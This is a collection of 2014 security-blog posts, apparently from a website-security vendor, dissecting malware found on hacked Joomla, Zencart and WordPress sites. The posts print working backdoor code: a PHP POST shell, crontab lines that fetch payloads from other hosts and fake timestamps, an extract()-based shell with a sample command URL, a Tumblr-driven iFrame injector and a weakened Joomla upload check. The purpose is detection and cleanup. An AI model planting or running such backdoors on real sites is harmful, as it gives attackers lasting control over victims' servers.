The Hidden Backdoors to the City of Cron

January 16, 2014, 3:52 am

≫ Next: Website Mesh Networks Distributing Malware

≪ Previous: Understanding Google’s Blacklist – Cleaning Your Hacked Website and Removing From Blacklist

An attackers key to creating a profitable malware campaign is its persistency. Malicious code that is easily detected and removed will not generate enough value for their creators. This is the reason why we are seeing more and more malware using creative backdoor techniques, different obfuscation methods, and using unique approaches to increase the lifespan of any given attack.

Cron Malware Backdoor

Today we found this malware: A simple, but heavily encoded SPAM injector that was prepended to a valid Joomla File. Yes, nothing new, we have thousands of blog posts that show this kind of malware:

$stg="ba"."se"."64_d"."ecode";eval ($stg("JHNlcnZlcl91c2VyX2FnZW50ICAgID0gJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KJHNlcnZlcl9yZWZlcmVyICAgICAgID0gQCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiRzZXJ2ZXJfZm9yd2FyZGVkX2ZvciA9IEAkX1N....

Not to be left lonely, it had a companion. A good old PHP shell to give the attacker “permanent” access to the server:

if( $_POST["_cmd"] ) { $output = shell_exec ($_POST["_cmd"]); echo "<input type="hidden" name="output" value="'; echo $output; echo '">'; }

Again, nothing new.

Crontab Backdoor

Finding and removing this malicious code was pretty easy, but the thing was that in less than 10 minutes the site was infected again.

Since the site was running an old and vulnerable Joomla version, and the client wasn’t able to update it due to some compatibility issues, she moved to CloudProxy (our website firewall) so all those vulnerabilities could be protected by our virtual patching until the update.

The client also changed all her passwords, so we thought everything was good.

However, some minutes after the cleanup, the site was reinfected again. The same files were hit again, with the same behavior. We checked the CloudProxy logs and nothing passed through it. The FTP logs were clean as well. What was going on?

We started monitoring the infection to understand its behavior, tracking how long would it take to happen again, which files were modified, and if we were missing any other hidden backdoor that could be responsible for this.

Then we had a light bulb moment! Why don’t we check Crontab? Obvious, right? Here’s what we found:

*/3 * * * * chmod 0755 /home3/infectedsite/public_html/libraries/joomla/utilities/compat/compat.php; wget http://  www.xxx  .com/wdc.txt -O /home3/infectedsite/public_html/libraries/joomla/utilities/compat/compat.php >/dev/null; 
* */6 * * * wget http://  www.xxx  .com/PDF/rbkvgqdyle.txt -O /home3/infectedsite/public_html/libraries/simplepie/idn/7cuyng9o1a.php >/dev/null; fetch -o /home3/infectedsite/public_html/libraries/simplepie/idn/7cuyng9o1a.php http://  www.hestonsflorist  .com/PDF/rbkvgqdyle.txt >/dev/null 2>&1; touch -t 201104202045 /home3/infectedsite/public_html/libraries/simplepie/idn/index.html >/dev/null; chmod 0755 /home3/infectedsite/public_html/libraries/simplepie/idn/.htaccess >/dev/null; rm /home3/infectedsite/public_html/libraries/simplepie/idn/.htaccess >/dev/null; touch -t 201104202045 /home3/infectedsite/public_html/libraries/simplepie/idn/.; touch -t 201104202045 /home3/infectedsite/public_html/libraries/simplepie/idn/7cuyng9o1a.php >/dev/null

That’s our backdoor!

Dissecting the Cron job

The first job is set to run every 3 minutes (*/3 * * * *) and it is responsible for keeping the spam injection installed. It’s being done by changing the permissions in compat.php to 0755, then downloading an infected version from another compromised website and replacing the original file.

Using wget and fetch, it downloads and installs the backdoor every 6 hours. To hide this backdoor from scanners that rely on timestamps, it “touches” the file and its directory to change its timestamp to 04/20/2011 – 20:45. It also removes any .htaccess file that would prevent direct access to PHP files.

Conclusion

This is not the first site we’ve seen with this Cron backdoor. On the same day we found another WordPress site with a similar infection. This seems to be a growing trend lately.

If you ever run into any reinfections case that you can’t find where it is coming from, check the integrity of your server and Cron/At jobs, you might find a nice treat!

↧

Website Mesh Networks Distributing Malware

January 24, 2014, 10:25 am

≫ Next: Mysterious Zencart Redirects Leverage HTTP Headers

≪ Previous: The Hidden Backdoors to the City of Cron

Can you imagine having the keys to a kingdom? How awesome would that be!! This is true in all domains, especialy when it comes to your website. This is almost like the holy grail of website attacks, gain access and do what you want with someone else’s pride and joy.

We all know that once a website is compromised it can be used by attackers in various ways. The most common attack we see leverages the hacked site as part of a malicious SEO Spam campaign (most profitable), followed by malware distribution (think drive by downloads) and ofcourse the integration into botnets, to perform things like DDOS / brute force attacks on other sites.

In any of these scenarios the attacker is able to, more often than not, monetize “their” new website. Yes, the fact that they have gained access to your website makes it theirs now. On a side note, we are seeing a tremendous number of websites being used to mine bitcoins specifically, but being it’s the new Billion dollar currency it only makes sense, but I digress.

Back to the point…

None of this, ofcourse, is new to our industry. Just crawl through the archives of this blog and you’ll find scores of data points that talk to the various scenarios addressed above. What you won’t find though is this new trend that we’re seeing.

Since the shutdown of the Blackhole Exploit kit we’ve been sitting back idly waiting for the next big thing, and perhaps this is it, but then again, perhaps it’s nothing more something that hid in the shadow and is only now finally out in plain sight.

Let’s talk a little about website mesh networks and how they are being used to distribute malware.

What is a Mesh Network?

We won’t get into the details of what a Mesh Network is but we’ll provide you a little context so that you can better understand it as you read through this post:

A mesh network is a network topology in which each node (called a mesh node) relays data for the network. All nodes cooperate in the distribution of data in the network. – Wikipedia

Yes, I know, not the fanciest of descriptions but for our purpose it works. When reading through this, I want you think of each website as a node in the mesh.

In essence, each of the websites, although hosted separately, owned by people that don’t know each other, are all, inevitably interconnected to one another. Again, nothing new in the concept, we see it everyday in various botnets, right?

Mesh Network of Compromised Webites

The latest exploit kit payloads we are tracking on compromised websites seem to have a very similar characteristic, they are part of a bigger network of compromised website, or what we’re classifying as a compromised Website Mesh Network. As websites get infected, the attackers are continuously adding them to their larger network of malware intermediaries. This means it is not only being used against people visiting the website, but also against users of other compromised sites.

Think of a mesh network of script injections…

How a Mesh Network of JavaScript Injections Works

Let’s say the bad guy, Home Simpson managed to hack into 3 web sites: X.com, Y.com and Z.com. Homer injects malware into X.com that then loads from Y.com. The malware from Y.com is loaded from Z.com and the one from Z.com is loaded from X.com.

That’s right folks, you guessed it, it’s one Giant Self-Licking Ice Cream Cone!!!

Here is a better illustration of the flow:

x.com -> injected with code loading from y.com/hNtpSAXt.php?id=56162149
y.com -> injected with code loading from z.com/8zCUWiW7.php?id=55158211
z.com -> injected with code loading from x.com/zsaok9XZ.php?id=45566441

The Benefit of such a Network

The attacker no longer needs to register domains to hide malicious content and it is very hard to take down. The more sites he manages to compromise, the more powerful their mesh network of compromised websites becomes.

Mesh Network of the Javascript Injection RANDOM.php?id=RANDOM

To put this into perspective, just on the JavaScript injection they can look something like this:

<script src="httx://tiande-rivne-com-ua.1gb. ua/hNtpSAXt.php ?id=56162149&quit;
type="text/javascript"></script>

With this simple payload we were able to identify some 800 websites and more than 19,000 pages compromised. And the injection always happen with the same format, a script src loading from a random PHP file and a random ID code. Every compromised site gets this PHP code injected in it.

These are just some of the injections we were able to capture:

What is the Scale of these Website Mesh Networks?

While it is really hard to provide definitives around how many websites are really compromised and injected with this type of infection we are able to provide some good educated guesses.

Using our very limited view, we identified 800+ domains within our own network of clients. Google agrees with us and it seems they identified a lot more sites, who would have thought, based on the safe browsing data.

If you look at http://safebrowsing.clients.google.com/safebrowsing/diagnostic?site=fixreputation.net, they say:

Has this site hosted malware?
Yes, this site has hosted malicious software over the past 90 days. It infected 101 domain(s), including dimensiones.org/, rometransfer.com/, hout-atelier.nl/.

If you check http://safebrowsing.clients.google.com/safebrowsing/diagnostic?site=magazyntuiteraz.pl, you will see:

Has this site hosted malware?
Yes, this site has hosted malicious software over the past 90 days. It infected 60 domain(s), including moyer-consulting.com/, rote-liebe96.de/, izorynek.pl/.

So it seems that each site compromised is also used to infected 50+ different domains. And the more you dive into the data, the more sites you find.

For instance, look at this one http://www.google.com/safebrowsing/diagnostic?site=tiande-rivne-com-ua.1gb.ua you will see:

Has this site hosted malware?
Yes, this site has hosted malicious software over the past 90 days. It infected 662 domain(s), including ovptrade.com/, stalkerzoneworld.ru/, fondazionegiannipellicani.it/

You can see that with a little sleuthing the order of magnitude begins to quickly multiply.

How are the sites being compromised

Ah yes, the age old question of how!!!

It’s not any easier to answer here as it’s ever been in any other post we share. As is often the case we see ascertain our data remotely and as such we are limited in a number ways, this case was no exception. We will however provide a post later better dissecting the payload, or at least we hope we will.

As for the how, we did try to scan several of the compromised website in attempt to identify the vector, but we had little luck. While we were unable to find a much coveted silver bullet that tied them together, there was more in what we didn’t find than one might think.

For instance, a few of them were using Drupal, others were using WordPress and ofcourse our Joomla friends were in on the action too. While this does not tell us the access vector, it does tell us it’s platform agnostic.

From this we can make a very educated assumption that the attackers are more than likely using a suite of tools to exploit these websites. From Brute Force attacks against the various platform admin panels to gain access control, to exploiting known or new vulnerabilities in any of the various applications. What is curious though is whether it’s all in one tool or kit and whether the payloads are being created independent of the platforms. Often, what we see is a payload specific to a platform which is later adapted or enhanced for other platforms. To find something like these attacks so tightly integrated and intertwined talks to an interesting trend.

Are you a webmaster? Do you own a web site? Please do your part securing your site so it is not added to these compromised Website Mesh Networks. There are various tools you can use to scan your websites and clean them up if they are infected, leverage them. Don’t get caught with your pants down!

↧

Mysterious Zencart Redirects Leverage HTTP Headers

February 16, 2014, 7:00 am

≫ Next: PHP Backdoors: Hidden With Clever Use of Extract Function

≪ Previous: Website Mesh Networks Distributing Malware

About a week ago we got an interesting Zencart case. Being that we don’t often write about Zencart we figured it’d be good time to share the case and details on what we found.

The Scenario

The site was redirecting to “www .promgirl .de”. I know, not very unique.

Additionally, it was only affecting “www” instances, all “non-www” instances were working correctly with no redirects. We also noticed that it would only trigger with specific User Agents and Referrers. This shouldn’t be new as we’ve talked at length about conditional malware.

The Analysis

Initially we thought that only a specific UA could trigger it and only on “www” version of the site. Then our theory was blown out of the water when another researcher was able to get it to trigger on “non-www” versions too. I would be lying if I said this was all relevant, but at least you get an idea of our thought process.

Here is a step by step to better understand our processes:

1. Initiate our cleanup processes – nothing was detected

2. Initiate databases cleanup processes – nothing was detected

3. Manual inspections of key files and locations – nothing was detected

At this point, we have to start thinking outside of the box and start thinking like the end-user, attacker and administrator:

4. Leverage search engines to get more information on the target site – prove unfruitful, show redirections to it but nothing else – no solution or insight

5. Dive a little deeper and start analyzing the requests and packets – finally a ray of light

I noticed this line:


Set-Cookie: USERID=shine-check; path=/

It looked very suspicious: shine-check? How is it that after I make my first anonymous request it assigns you such a strange USERID?

A little research rendered some useful information on this: USERID=shine-check. We started to notice that there were various forums talking to this specific issue, and the one common denominator in the equation was Zencart. While this doesn’t address the issue, it definitely gets us intrigued and as a researcher it starts to paint a better picture.

Digging a little deeper and leveraging the insights brought about in the various posts we were able to decipher the following:

Yes, it’s a Zencart infection and has been around for a while, shame on us. It turns out that it doesn’t leverage the database or .htaccess files, instead can be inserted across in any one PHP file. The two very important indicators, signatures, for this infection can be found in the shine-check and twotime cookies in the HTTP header information.

One very specific post shared with us the exact payload, and it’s dated back to the summer of 2012. They payload was outlined here: http://pastebin.com/jFY5LF1h. While it gave us a tremendous amount of insight into what we were working with, it was apparent something had changed as none of the existing patterns it outlined were not returning anything.

6. Even with that information in hand, it wasn’t enough to tell us where it was, just that it was legitimate and would require some digging. We set about additional reviews.

Apparently, something has changed in the malware since summer of 2012. But what?

7. After several hours I began to get a little frantic and that led me to line by line reviews, never a pleasant experience. Sparing you all the details, I finally got it. By it, I mean a very benign piece of code that would never set off any alarms, it was just setting some variables. Interestingly enough, disabling it made the cookies disappear. That’s strange, right? I just had to know, so I went about setting some of my own variables that would echo out the results.

Like magic, my new variables spit out warnings it couldn’t write the output because the headers were already sent, and in those warnings we were products with the prize!!! Two files were disclosed, one benign and the other contained the gold!!!

The payload was here:

includes/modules/extra_functions.php

It contained:

Using our free online Decoder we extracted the following:

Removing the payload did the trick! Buh-bye redirects..

That’s it.

A little Icing On the Cake

I do want to mention something about the redirect code as it wasn’t usual, at least not to me.

On the first visit, it checks if user is not Chinese (no zh in browser languages) and not coming from Hong Kong sites. At the same time user should be coming from Bing, Google, Facebook or Yahoo. For such “eligible” visitors they set the USERID=shine-check cookie and redirect them to “hxxp://www .promgirl .de/” For “non-eligible” users they only set the USERID=twotime cookie.

After that every returning user who has the USERID=shine-check cookie gets redirected without further checks, and users with the USERID=twotime cookie never gets redirected.

There is one more interesting “eligibility” condition and it’s based on chance. The code creates an array with 40 items that contain the hxxp://www .promgirl .de/ URL and 60 items that contain the mailto:hackseo@post.com email. Then, for eligible visitors they randomly choose one of the items, and if the item is the URL then that visitor gets the shine-check cookie and gets redirected, and if the item is the email, then the visitor gets the twotime cookie and never gets redirected.

As you can see, User-Agent and “www” don’t affect redirects. What really affects them is the referrer, non-Chinese origin plus some luck (or lack of it). So much for the scenario above uh.. hehehe..

Good luck!

If you find yourself in a similar issue and need help please let us know. Via our services we’ll do everything necessary to ensure that infections like this are addressed in a timely manner and we found great joy in little scavenger hunts!!

↧

PHP Backdoors: Hidden With Clever Use of Extract Function

February 17, 2014, 9:40 am

≫ Next: Malicious iFrame Injections Host Payload on Tumblr

≪ Previous: Mysterious Zencart Redirects Leverage HTTP Headers

When a site gets compromised, one thing we know for sure is that attackers love to leave malware that allows them access back to the site; this type of malware is called a backdoor. This type of malware was named this because it allows for remote control of a compromised website in a way that bypasses appropriate authentication methods. You can update your site, change passwords, along with any of your admin procedures, and the backdoor would still be there allowing unexpected access to an attacker.

Backdoors are also very hard to find because they don’t have to be linked in the site, they can be very small and be easily confused with “normal” code. Some of them have passwords, some are heavily encrypted/encoded and can be anywhere on your site, file system or database.

We have written extensively about website backdoors (generally in PHP) that allow for continuous reinfections and control of hacked websites.

You can read something more about backdoors on these links:

If you search for “backdoor” on our blog here, you will find dozens of posts specifically around the subject.

PHP Extract Backdoor

As you can imagine, backdoors are something that get us very interested, and are a big part of our research. If we clean up a site and we miss just one backdoor, it means the site can get reinfected.

Recently while working on a client website, one of our security analysts, Ben Martin, found a very interesting backdoor that leverages the extract PHP function. The backdoor was hidden on a file called phpinfo.php:

    @extract ($_REQUEST); 
    @die ($ctime($atime));

As you can see, it doesn’t look very suspicious. It doesn’t have any “eval” , “exec”, “system”, “assert” “preg_replace” (with /e/) or any other common function that allows for code execution. Tis makes most signature based malware detection/removal solutions useless, they won’t find anything.

How can someone execute code by just leveraging extract, you may ask? If you look at the extract manual page, it explains what it does:

extract — Import variables into the current symbol table from an array

So basically it takes whatever array entries you have and creates variables for them. You may be thinking that doesn’t look too bad or dangerous, but when you look at this piece of code, it certainly is:

@extract ($_REQUEST);

It is extracting any content sent via GET or POST requests and creating variables for them. That means that in the next part of the code, where it executes “die” (exit) on $ctime($atime), it is actually executing whatever the attacker sends as “ctime” with “atime” as an argument.

Running Commands Via The Backdoor

Let me give an example that may make it a bit easier to follow. Let’s say I am a bad guy and I want to execute “ls -la” to list all contents of a directory on a site I just hacked and upload this backdoor. All I needed to do is visit this URL using any browser:

site.com/phpinfo.php?ctime=system&atime=ls -la

The extract function would take these variables and turn @die ($ctime($atime)); into @die (system(“ls -la”));. See now how powerful it is?

Now you can take “ls” and turn into a cat, or echo, and many other commands to modify files. It is basically a full shell in there.

Protecting and Detecting Backdoors

As you can see, finding them is very hard. But these are some techniques that work very well:

Whitelisting – We know what the good files look like. We have a large checksum set of all the core files used in WordPress, Joomla, osCommerce, Wiki, etc, etc s. We also have checksums for the most popular plugins, modules, extensions and themes. Do you know what that gives us? It gives us a verification method of the core files. It gives us a way to determine if they were modified, new files added, and we can safely validate the good ones.
Blacklisting – We also have a list with thousands of backdoors and their variations that we have collected over the last few years.
Anomaly Checks. When a file is not in our whitelist (core files), and not in our blacklist, we do our anomaly checks. These checks are where all the functions/variables in a file are analyzed and manually inspected to see if they are a backdoor. If it is, we modify our blacklists to catch them in the future. If not, it’s another file added to our whitelist.

As you can see, we use more then one method to detect and protect by mixing whitelisting + blacklisting, and our own manual analysis to find all the backdoors on a site. If you are trying to clean a compromised site by yourself, we recommend first overwriting all the files you can (core files, plugins, etc). Of what is left, you have to manually analyze all the files to make sure they are clean.

What do you think? We would love to hear your ideas or methods for checking for backdoors.

↧

Malicious iFrame Injections Host Payload on Tumblr

February 19, 2014, 8:36 am

≫ Next: Highly Effective Joomla Backdoor with Small Profile

≪ Previous: PHP Backdoors: Hidden With Clever Use of Extract Function

It’s always fun to watch malware developers using different techniques to code their creations. Sometimes it’s a matter of obfuscation, placement, injection, but this time it’s how they code it to be dynamic.

I believe this is not the first one that uses this service, but it’s the first time I’m seeing it. The concept is not new, we have often seen Twitter and Ask.fm accounts being used as malware Command & Control (C&C) servers, but now we can add Tumblr to the list.

A few weeks ago we found an iFrame injection that was relying on Tumblr to trigger the payload.

Tumblr lets you effortlessly share anything. – Tumblr

It appears they take this motto to heart!

How Does It Work?

The anatomy of this attack is very interesting.

It’s a two-part attack and what makes it so unique is that each one on its own is benign and the user would be none the wiser. Unlike what you’re probably thinking and what we have described the attacker is not loading or referencing the payload from a remote server or service (i.e., Tumblr). Instead the attacker is using the infected website as the compiler while the remote service is the brain. So in it of itself, nether are malicious, but when combined they are very very dangerous.

The brain, or the C&C, dictates what payload gets loaded, based on what it received from the incoming infected site. Once the payload is defined, the infected website goes about building the payload. This means that you can have several infected websites out there without any payloads, simply waiting for instructions from some rogue C&C, like the one here.

What’s curious about the tactic is how ingenious it is. This makes it so that detection is low on both fronts. Scan the website and all is clear. Scan Tumblr and it’s all clear, but mix them together and you have yourself a nice little recipe for disaster.

The good news is that tools like our Free website scanner will pick up the payload.

It’s About the Code

Here are some code snippets to better illustrate what it was doing:

<?php

$__safe_mode = ini_get('safe_mode');
ini_set('safe_mode', 0);
ini_set('display_errors', 0);
error_reporting('none');
$from_link = array('http://nibbgohtume.tumblr.com/');
$from_selector = '.post .title';
$zone = '/tss/nb.php';
$p = base64_encode($_SERVER['REMOTE_ADDR'].':::'.$_SERVER["HTTP_USER_AGENT"].':::'.$_SERVER['HTTP_REFERER'].':::'.$_SERVER['HTTP_HOST'].':::'.$_SERVER['HTTP_ACCEPT_LANGUAGE'].':::'.$_SERVER['HTTP_ACCEPT_ENCODING'].':::'.$_SERVER['HTTP_ACCEPT_CHARSET'].':::'.$_SERVER['HTTP_ACCEPT'].':::'.$_SERVER['HTTP_KEEP_ALIVE'].':::'.$_SERVER['HTTP_CONNECTION'].':::'.$_SERVER['HTTP_CACHE_CONTROL']);
$_params = '&p='.$p;
$params = (isset($_REQUEST['prms'])) ? urldecode($_REQUEST['prms']) : $_params;
$protocol = 'http://';

It sets the from_link variable with the Tumblr address as part of the array, just after it you see the from_selector variable, which will be used later to find all the site’s posts titles.

do {
shuffle($from_link);
$lnk = $from_link[0];
} while (!$lnk);
$html = file_get_html($lnk);
foreach($html->find($from_selector) as $e) {
$lnk_zone = explode("/", $e->plaintext);
$lnk_zone = $lnk_zone[0] . "." . $lnk_zone[1] . "." . $lnk_zone[2];
$link = $protocol.$lnk_zone.$zone.(($params) ? "?".$params : "");
break;
}

This code will translate this:

And output this:

hxxp://njgmoqy.ikwb. com/tss/nb.php?%26p%3DMTcyLjE2LjEwMi4xMjk6OjpNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA1LjE7IHJ2OjI2LjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMjYuMDo6Ojo6OjE3Mi4xNi4xMDIuMTI5Ojo6ZW4tVVMsZW47cT0wLjU6OjpnemlwLCBkZWZsYXRlOjo6Ojo6dGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44Ojo6Ojo6a2VlcC1hbGl2ZTo6Og%3D%3D

Which is the payload URL with all the headers (i.e., REMOTE_ADDR, HTTP_USER_AGENT, HTTP_REFERER…)

In order to read the tumblr page, it uses a class called simple_html_dom, which is a free HTML parser to read the page and then search for the .post .title elements to get all the payload links.

The last part of the code will create the iFrame.

list($sdata) = get_curl($link, 0, 5, $prms);

$tmp = explode("|:|:|", $sdata);
if (sizeof($tmp) > 1) {
foreach ($tmp as $k=>$v) {
$tmp2 = explode("|;|", $v);
$link = $tmp2[0];
$data = $tmp2[1];
if ($link && $data) {
print '<a style="position:absolute; top:-999em;left:-999em;" href="'.$link.'">'.$data.'</a>';
}
}
} else {

print '<iframe style="position:absolute; top:-999em; left:-999em;" scrolling="no" src="'.$sda..';

}

The hidden iFrame, the negative position – -999em;left:-999em – will not be presented in your browser window, will contain all the links found in the previous URL and all the nice spam words for a good blackhat SEO.

As all iFrame injection codes, this one needed some other file, a good file to be the host. In this case the malware was being loaded by the template’s footer, in a simple include().

↧

Highly Effective Joomla Backdoor with Small Profile

February 27, 2014, 2:12 pm

≫ Next: Ad Violations: Why Search Engines Won’t Display Your Site If it’s Infected With Malware

≪ Previous: Malicious iFrame Injections Host Payload on Tumblr

It feels like every day we’re finding gems, or what appear to be gems to us. We try to balance the use of the term, but I can’t lie, these are truly gems. The things they are doing, and by they I mean the attackers, are in some instance ingenious. I think you’ll agree that this case falls into that category.

In short, this is a highly effective backdoor that carries little profile, making it Hight Speed Low Drag.

Understanding Attackers

As we’ve discussed in the past, most attackers have a pretty standard workflow when compromising websites. Here’s that process in it’s simplest form:

Identify point of entry / weakness
Exploit the entry / weakness
Ensure that they can retain access
Cover your tracks

I agree, nothing earth shattering, but it does help us understand what it is we need to be looking for.

Many will make the argument that a site is not clear if you haven’t performed some level of forensics to understand what happened. Often this same analysis will lend itself to items 3 and 4 in the list. Reverse engineering their attempts to clean up their traces and finding those backdoors, diamonds in the ruff.

Unfortunately, this level of forensics is not for everyone and contrary to popular belief it’s not as simple as looking for simple obfuscation. No, these days the backdoors are becoming highly sophisticated, making use of built-in functions and carry little trace of what you might consider to be traditional backdoors.

What many also don’t realize is how important the third step is. If done correctly, the attacker is able to bypass all your access control mechanisms, i.e., logins like administrator and FTP, and work right off your server with little hesitation.

This post is an example of that, for instance take into consideration these two images:

Image #1

Image #2

Can you pinpoint the difference or the backdoor? Is there a backdoor?

Joomla Specific Backdoor

The images above are an example of what we recently found and the purpose of this post.

Yes, I agree, it’s unfair for us to ask you to pinpoint the difference in the images; besides, the total change is no greater than 304 bytes.

But for those keen eyes, you probably noticed the difference in the if-clause, here specifically:

if (!in_array($format, $allowable) && !in_array($format,$ignored))

Versus this:

if ($format == '' || $format == false || (!in_array($format, $allowable) && !in_array($format,$ignored)))

For those that are completely lost, it all comes down to how the $format variable is created. For that we have to look here:

$format = strtolower(JFile::getExt($file['name']));

This tell us that the variable is getting the file’s extension using a Joomla native function called getExt. This function does this:

function getExt($file) {
$chunks = explode('.', $file);
$chunksCount = count($chunks) - 1;

if($chunksCount > 0) {
return $chunks[$chunksCount];
}

return false;
}

This in turn breaks the file name into pieces based on the positions of the dot, returning false if there are not dots. If everything is ok it returns the latest group after the last dot, i.e., the extension.

This is where the canUpload function will check if the extension is part of the allowed ones or not. This goes back to the very first if clause shared above.

In the second set, you see two additional conditions, if $format is false or if it’s empty. That’s then followed by another .OR. operator just before checking if the extension is allowed.

In these cases, if the extension is empty or if it’s false or allowed, the file can be uploaded. This and nothing is the same thing, right?

Wow, that one hurt my head too, sorry.. but hang in there.

In order to make the $format false, or empty, the attacker would need to add a trailing dot to the end of the file, like backdoor.php.. But it’s not that simple, the upload alone won’t make it useable.

That brings you to the next obvious question, “Fio, if it’s not usable why the heck did you take us down riddle man?” Glad you asked…

First, because I probably had one too many beers while writing this.

Second, it comes down to this code:

function makeSafe($file) {
// Remove any trailing dots, as those aren't ever valid file names.
$file = rtrim($file, '.');
$regex = array('#(\.){2,}#', '#[^A-Za-z0-9\.\_\- ]#', '#^\.#');
return preg_replace($regex, '', $file);
}

I mean seriously, have you ever seen code in better shape than this? The lines, the logic, even the commenting..

// Remove any trailing dots, as those aren’t ever valid file names.

And you have to appreciate the irony in the function name, makeSafe. Make safe a backdoor that is going to do anything but make your website safe.

Here is the kicker, for those that didn’t catch it, this is a valid function inside ./libraries/joomla/filesystem/file.php, a core file of Joomla. This function, by design, cleans out all odd characters from a filename and returns a safe filename. Sound familiar? Remember that trailing dot? Pretty sure that’s unsafe, Joomla core agrees with us, as such it does what it’s supposed to do, makes a previously unsafe file, safe. Ain’t that something?

Perfect example of a feature that gets abused for bad when it was designed for good.

The Ever Evolving Landscape

I chose to share this little gem with the world because it talks volumes to the evolution in the attacks that we’re seeing. The website security market has turned into a gold rush as of late, but with that growth we have seen new innovation in the way attackers are 1) attacking websites and 2) how they’re retaining control of those same websites.

This is forcing us to really look deep into the various detection and remediation technologies to better understand how to prevent scenarios like the one described in this post.

This attack specifically is not something a signature would have ever picked up, it’s tightly integrated and dependent on what most would categorize as “good” code, and by good I mean it’s part of core and designed to do a good thing. Now extend this line of thinking, think beyond core.

If attackers are starting to look at how “good” code functions and finding ways to manipulate its use, what is to stop them from extending that thought process to code found in your templates, themes, extensions, plugins? This is a real problem that extends far beyond Joomla and will soon plague other CMS applications, if they are not already.

If you have something to add or share on the post, use the comments we’d love to get your hear from you.

If you find yourself in a similar situation, suffering repeated attacks or infections be sure to contact us. Whether you’re infected and need to be cleared, or prefer not to have to deal with this at all, we have a complete security solution to keep your website clean and safe.

↧

Ad Violations: Why Search Engines Won’t Display Your Site If it’s Infected With Malware

April 2, 2014, 10:32 am

≫ Next: Analyzing a Malicious iFrame – Following the Eval Trail

≪ Previous: Highly Effective Joomla Backdoor with Small Profile

As your site’s webmaster, have you ever seen an e-mail from Google like this:

Hello,

We wanted to alert you that one of your sites violates our advertising policies. Therefore, we won’t be able to run any of your ads that link to that site, and any new ads pointing to that site will also be disapproved.

Here’s what you can do to fix your site and hopefully get your ad running again:

1. Make the necessary changes to your site that currently violates our policies:
Display URL: site.com
Policy issue: Malware
Details & instructions:

2. Resubmit your site to us, following the instructions in the link above….

If so, you know the potential downside risk this poses for your website. In their own words, Google says,

In some cases, you may be unaware that you have malware on your site. But to protect the safety and security of our users, we stop all ads pointing to sites where we find malware.

In essence, Google and Bing care about their searchers more than your business so, to protect their customers, they’ll shut your website out of Adwords and Bing Ads and will return your site less in organic searches.

Often overlooked in the search business is the role of the actual search engine in the ad placement process. These are businesses that specialize in creating algorithms to show relevant search results, assigning quality scores to your landing pages and placing your actual ads. A lot goes into the process, but in all cases, the key for the search engine is to show relevant search results (including ads) that keep people using their search engine. It is in this spirit that search engines like Google and Bing reserve the right to refuse your ads. This is especially true if they have any reason to believe that your site may be infected with malware–including viruses, worms, spyware, and Trojan Horses–or is being used in phishing schemes.

From the search engine’s perspective, this makes perfect sense. Searches are their lifeblood and there are other search engines a person could use to find websites. By showing your ads or returning your site organically in a search, they are tacitly telling the searcher, “We found these sites to be relevant to you.” If they start sending you to sites that are potentially harmful, then a searcher could, potentially, switch search engines.

However, knowing why search engines work as they do doesn’t make it easier to be a webmaster when a site is hacked. Luckily, our clean up and malware removal tools as well as our de-blacklisting service are just a click away.

Or, better yet, keep yourself from ever getting an email like the one above from Bing or Google. Instead, protect your site, and business, from potential problems stemming from malware, blacklisting or phishing and look into protecting your site with a website application firewall like our CloudProxy WAF .

↧

Analyzing a Malicious iFrame – Following the Eval Trail

May 27, 2014, 2:31 pm

≫ Next: Take Back Your Internet – Demand a Safer Web

≪ Previous: Ad Violations: Why Search Engines Won’t Display Your Site If it’s Infected With Malware

Over the last week, we’ve been working with some interesting malware injections. Developers and malware prevention professionals usually think of hidden iframes that deliver spam-seo or other malware as easy to spot. Take this injection, for example (Thanks to Sucuri team member, Rafael C., for the sample):

This is not a traditional iframe src=’http://… code, but you can see where the bad code lives in the example above. This is a problem for the creators of this malware because if an infection is easily detectable then it’s a relatively straightforward process to write a script to detect and clean it up. That’s why the next step for the malware creator is to hide or obfuscate the injection.

Spotting Obfuscated Code

Using JavaScript, there are several ways to obfuscate malicious code like CharCode or URLEncode. In general, obfuscated malware looks like the example below, but of course, the techniques can be more or less advanced. Our team tends to like writing about the more complicated events:

At first glance, this code looks like a CSS related script, i.e. part of your site’s visual architecture, which you don’t want to touch because it could break your site’s look and feel. This, of course, is exactly what the malware creator wants you to think.

Is it Malware?

The tricky thing here is that this function is actually creating a CSS rule. Were we wrong to think that it’s malicious?

last_style_node.addRule(selector, declaration);

What we need to do to find out is look at the content of the rule. To do that, we look for the function call.

createCSS('#va', 'background:url(data:,String.fromCharCode)');

The code is defining the background image for the #va selector. When you look closely you can see that String.fromCharCode is not a valid URL. Remember, malware creators need to figure out how to hide their code injections. In this scenario, storing the functions it needs inside a CSS style is ingenious.

Now that we know where the malware lives, we can find out how it is recovering those strings:

Putting It All Together

In the code above, we see that the vkk variable is used as the fromCharCode function and uu variable contains a va string. At this moment, this doesn’t make sense, but it starts to come together as we keep moving through some lines of code.

It’s important to the hacker that nothing is stored in plain sight (if it was, it’d be much easier to clean). In this instance, take the t variable as an example; it contains the number 2. In this case, this value is attributed by subtracting 2 from the number of seconds of a date stored in the knr variable. That’s pretty complex, right?

This t variable is used to multiply all entries of the xt array*

*Some of the content of this variable has been removed to shorten the post. It doesn’t affect the code’s logic.

Next, there is an empty function called g, which is attributed to hhhu variable, and within these parameters the uu is being used to create the function. By concatenating the e, va(the content of uu) and l we end up with, eval! Now we’re finding some malware.

Then, another chain of variables, hhhu, is now attributed to ac with a different function–the one inside the variable ry, which, previously, we saw contains String.fromCharCode. Now it’s eval’ing String.fromCharCode for CharCodes that are stored in the xt variable.

Finally, after all this, it calls the eval again–the hhhu–but now to execute the code inside dwms variable, which was decoded using the for loop from before.

Dissecting Malware is A Full Time Job

That was an illustration of one payload. It’s just one data point that articulates the sort of complex obfuscation we deal with on a daily basis and, we can say without reservation, as we continue to find new ways to detect it more easily, malware creators will find ways to make their obfuscation more and more complex.

Do you have samples you’d like us to analyze? Feel free to engage us on Twitter at SucuriLabs or feel free to send us an email at labs@sucuri.net.

↧

Take Back Your Internet – Demand a Safer Web

June 5, 2014, 10:18 am

≫ Next: WordPress Plugin Alert — LoginWall Imposter Exposed

≪ Previous: Analyzing a Malicious iFrame – Following the Eval Trail

